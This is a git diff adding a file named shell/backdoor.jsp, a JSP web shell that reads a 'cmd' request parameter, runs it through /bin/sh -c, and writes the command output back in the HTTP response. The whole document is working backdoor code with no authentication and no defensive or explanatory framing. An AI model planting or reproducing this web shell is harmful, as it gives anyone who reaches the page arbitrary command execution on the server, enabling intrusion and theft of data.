diff --git a/shell/backdoor.jsp b/shell/backdoor.jsp new file mode 100644 index 000000000..daf430927 --- /dev/null +++ b/shell/backdoor.jsp @@ -0,0 +1,47 @@ +<%@ page import="java.io.*" %> +<% + +Process p; +String s, cmd, html; + +cmd = request.getParameter("cmd"); +if (cmd == null) { + cmd = "pwd"; +} + +String []bashcmd = {"/bin/sh","-c",cmd}; + +html = request.getParameter("html"); + +if (html != null) { + out.println(""); +} + +p = Runtime.getRuntime().exec(bashcmd); + +BufferedReader stdInput = new BufferedReader(new + InputStreamReader(p.getInputStream())); + +BufferedReader stdError = new BufferedReader(new + InputStreamReader(p.getErrorStream())); + + + +while ((s = stdInput.readLine()) != null) { + out.println(s); + if (html != null) { + out.println("
"); + } +} + + +while ((s = stdError.readLine()) != null) { + System.out.println(s); + if (html != null) { + out.println("
"); + } + +} + + +%> \ No newline at end of file